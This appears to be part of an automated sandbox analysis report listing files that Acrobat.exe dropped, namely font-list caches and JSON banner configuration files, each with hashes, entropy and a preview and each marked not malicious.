Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.4308

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.4308

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.349650823548564
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBeIwLDvV0x+FIbRI6XVW7+0Yb2xoAvJM3g98kUwPeUkwRe9:YvXKXBrwLD1YpW7EZGMbLUkee9
MD5:	3C6DDB2364D22D36C8DAB8561AA21FFB
SHA1:	5C7E08CF6CA411AAAA7ADE5ACA4F4C09568A993C
SHA-256:	636DC3D1A4A53252F6A458538BCEB204A6C043EC1BDA07F7FBBBB316DF893F5D
SHA-512:	EA2A5E84CE8CFE0F5E9B9802919C4E19D23EACFBAC083ACCB0A22783C2721BA79AE4984166FB52ECF44ECFCBD2E6C3314F39510978EC4B24F1F6E0BF2FE0BC22
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"667d3c55-4a60-4c79-a1b9-4749968210a9","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736715552874,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.291877680122712
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBeIwLDvV0x+FIbRI6XVW7+0Yb2xoAvJfBoTfXpnrPeUkwRe9:YvXKXBrwLD1YpW7EZGWTfXcUkee9
MD5:	6B3A585924E78748A05897A32E48E19F
SHA1:	0E1969D3510B396BEA541088CF7A05EA7278019F
SHA-256:	131497D4E926514AED1718AC5BFD36FDC3AA016CC72B6BC4F919BB2827655250
SHA-512:	D642D9B10149D0075F3350AC980055989A3224E4D329300DEAAD9FE2FBE0DBF3F2D797B2FC9467A5E8F5EE72F91F363318EAD2C2D0F75E230E53FFEEA5654DBE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"667d3c55-4a60-4c79-a1b9-4749968210a9","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736715552874,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.269830280122072
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBeIwLDvV0x+FIbRI6XVW7+0Yb2xoAvJfBD2G6UpnrPeUkwRe9:YvXKXBrwLD1YpW7EZGR22cUkee9
MD5:	A4AE4188DAAF5CC0A863FC84492A5227
SHA1:	E82932E142FB4B00F8398FD92345B245C5B6BB52
SHA-256:	0F87D69B0E58F49F69E34468D9EB5DF3B4FD39B3F362E84C657A373FAEAC34A6
SHA-512:	E4BFD70EF97740EC6E9A837107F80B909989B68E2FDA0DC33FCFE29F2E73BD04B7823B8543C3BD38A8DAECB4B06D72664FAD64B929F8E8C8AB01C08CF6760C14
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"667d3c55-4a60-4c79-a1b9-4749968210a9","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736715552874,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.328062558649215
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBeIwLDvV0x+FIbRI6XVW7+0Yb2xoAvJfPmwrPeUkwRe9:YvXKXBrwLD1YpW7EZGH56Ukee9
MD5:	2AD777FD561221648207200E9D0436D9
SHA1:	837709876B262E88AA3CFC65A26824E5BA4729A8
SHA-256:	0E17267242D6C2E0BDAECD4215DD1C0DD56B48E579FAE749DE0EF50794B7DD00
SHA-512:	34A0E2A600EED0F46E65A4C8814A55239573E91DAF8F9AC2C170B32E167297BD8A5A22A061DCB6C52215C2E0F688BC43748472785D9DB4859717D4C3077D5868
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"667d3c55-4a60-4c79-a1b9-4749968210a9","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736715552874,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.690892164130042
Encrypted:	false
SSDEEP:	24:Yv6XBsLD+ihpLgE9cQx8LennAvzBvkn0RCmK8czOCCSQ:YvEsL9hhgy6SAFv5Ah8cv/Q
MD5:	8419FE6AD7912AA1D414D177E4CD5CE2
SHA1:	632C794FE17DC59F94EC600587C14B8C75E022E3
SHA-256:	188DF251E663322126119BB6AE61EFB02822246319FBF35F06944D0660695250
SHA-512:	DA3C64B0C5B2037AAA7BE4D3D6548317E134ACF80A38F1DA428BD9A1D2BECC6819B028F5549C7A74EAE779E2DE05FEC2358EDEBBCB7FEF82418C998096533B6C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"667d3c55-4a60-4c79-a1b9-4749968210a9","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736715552874,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.274977732846695
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBeIwLDvV0x+FIbRI6XVW7+0Yb2xoAvJf8dPeUkwRe9:YvXKXBrwLD1YpW7EZGU8Ukee9
MD5:	97E5BB3F5792C6E7C57D6EF0F320DFC7
SHA1:	0FEE68B4C168F534E0CA5E4C28EEA33D0F7B008F
SHA-256:	F41588786658C849816787DB3CACF1FBB93ACA15F65A4FF7AD99585E84DAEAC5
SHA-512:	86562ACE1EA7105575F929C2477EDCBA430AED082A616F44297F97E5C632A1FB3383FB4E1FD10DC5EC0FEEEEE16153EBEDB2FC1C3BD732579EBC95D0491176AB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"667d3c55-4a60-4c79-a1b9-4749968210a9","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736715552874,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.2770988065240125
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBeIwLDvV0x+FIbRI6XVW7+0Yb2xoAvJfQ1rPeUkwRe9:YvXKXBrwLD1YpW7EZGY16Ukee9
MD5:	33878FE06EE048CBB7C89ACFE29B89B1
SHA1:	049FF00300B449BAB0DC6FCAFE15ADFFEFD4E916
SHA-256:	95E25B07AED0BCB3A1EEB4099DCB9B2D8809BA4DE5289248100CB4CFC497B417
SHA-512:	D02DEA4270BE06671A9EDB884126132961F3AB6620E607DB8AFB623586BE6F8E3DAE4A94E86D806E47C00C7101D8ABCA228057ABFA9E8A0F84BA9E9298AA4975
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"667d3c55-4a60-4c79-a1b9-4749968210a9","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736715552874,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.296499961776621
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBeIwLDvV0x+FIbRI6XVW7+0Yb2xoAvJfFldPeUkwRe9:YvXKXBrwLD1YpW7EZGz8Ukee9
MD5:	73F8F16A236307A407842299A0B8C8F6
SHA1:	922FE01A28778D3322E25B8565915D9EB438E22B
SHA-256:	690D1614BA1535239B452822C044C54B0DB407C77BC9DC0A91DA5BA5448C4E38
SHA-512:	0BF936CC2EBDDFEB94AFC55A6EBC03DC0ED092DAC5F7232229D50BBCB602F094780D1D3219F86124AAB1748C18542A2A7148B38D3CC6F1909D0E372253D4022F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"667d3c55-4a60-4c79-a1b9-4749968210a9","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736715552874,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.302974957944991
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBeIwLDvV0x+FIbRI6XVW7+0Yb2xoAvJfzdPeUkwRe9:YvXKXBrwLD1YpW7EZGb8Ukee9
MD5:	51820B56E711B862A04E87600B726879
SHA1:	BAA1F72DE6839F81C3AE27B4D57282B8239487A8
SHA-256:	56F71C29B6F55636006FA54BF83F7835DA86BDC634D40FE313B34E9D790FA6F5
SHA-512:	3F8044D23D5A961A2F62127CCA1DCDEEE3B813218764DE285E7C038B15442A2329A421CD6B41A85E31A67F6A845AACB2B67496E17CBD3BDFA9934E6F4B60A3CD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"667d3c55-4a60-4c79-a1b9-4749968210a9","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736715552874,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.283555929185526
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBeIwLDvV0x+FIbRI6XVW7+0Yb2xoAvJfYdPeUkwRe9:YvXKXBrwLD1YpW7EZGg8Ukee9
MD5:	DB5F5E763D5EB48E71DC4D3CD5D3E9DF
SHA1:	E3EA1FA437AB26D937B8369B982649B7A10E398E
SHA-256:	46D2097F602A01CB6A99A34015FC1CD54DE7CBCE1473B36BCAAD60BF5A9B78C5
SHA-512:	C3CF680C0FA0BCCAA3453077648D6601468CE289FFB5BDD185722C16B2E99703D18473EE0205EC8CD229BA32A7C3E78E3F891B1E1D8DF4C24304E0234CF5B761
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"667d3c55-4a60-4c79-a1b9-4749968210a9","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736715552874,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.268999092186371
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBeIwLDvV0x+FIbRI6XVW7+0Yb2xoAvJf+dPeUkwRe9:YvXKXBrwLD1YpW7EZG28Ukee9
MD5:	CE96D30E435B8477E53901030BC15410
SHA1:	D9DF53FD4552D4BBDE5147FE62DD98072FD7DB0D
SHA-256:	6A3C47566A8475BF5F7E131A265FFFDB68D815D333E5DE52B2E78B6E7BB396B3
SHA-512:	146B5FD50D4E7C52934B232A3C58D36154439C43AB0506D8471C0730CE6C3B568CAB82BFF69068983FB4A205BE4E2C6A7F6861B07B0FEDC9F119AEB277A52D1A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"667d3c55-4a60-4c79-a1b9-4749968210a9","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736715552874,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.267216044528218
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBeIwLDvV0x+FIbRI6XVW7+0Yb2xoAvJfbPtdPeUkwRe9:YvXKXBrwLD1YpW7EZGDV8Ukee9
MD5:	4E63002FBF3F12534CEE1039081CAFFF
SHA1:	E188B2A66C136B5A4B7E43C6A853A4E04D62C93E
SHA-256:	C7968F308639E1CDE6969374C2CCFA5F9FB4280322C9EC6BD4859181A63879F4
SHA-512:	6245DE518A71613667D92AA41A62B291786EB716161C8A6AA608CE9301A8F74AB019FC7B56448AF04B2CD6CF94724ED81482BDE7EEA7193089CA073F743C5B11
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"667d3c55-4a60-4c79-a1b9-4749968210a9","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736715552874,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.268957518901703
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBeIwLDvV0x+FIbRI6XVW7+0Yb2xoAvJf21rPeUkwRe9:YvXKXBrwLD1YpW7EZG+16Ukee9
MD5:	EED2AA305BF5A7A87D286CBB07AD832A
SHA1:	DC3E9484876237482181920B821AFA56E9090D5A
SHA-256:	80896845498B576E1BCF2E8784D20F383D8496BF5F00A570FD6E0C5874623E99
SHA-512:	4ECC14D38FD0D62A943A63BB0C90D3DA6B6E8CFDEA8AF176A95D8E391EA8FA196641C098060054DA3D3B5842F847C1AD2BDA34098AC70E846FC9A48E3D1F060A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"667d3c55-4a60-4c79-a1b9-4749968210a9","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736715552874,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.662437184747772
Encrypted:	false
SSDEEP:	24:Yv6XBsLD+ihamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSQ:YvEsL9tBgkDMUJUAh8cvMQ
MD5:	7DCE35746A0D27CDD592F765CEC098EC
SHA1:	5B833FBE12F646C0252BC920DF42066AC612ABF2
SHA-256:	F9F5210894241955909B905F7A4DEF6E7D9EFB5EB99897E8337DD71F5C05BE14
SHA-512:	CE501F7E6EAE3C9BC90047851ED5BAC8FE2A994959980D9FBE14705D7F822D4BE5F134D071571D3B7AE996CE42574664B620B09FF6BB84F51BDE252AA8B202CB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"667d3c55-4a60-4c79-a1b9-4749968210a9","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736715552874,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

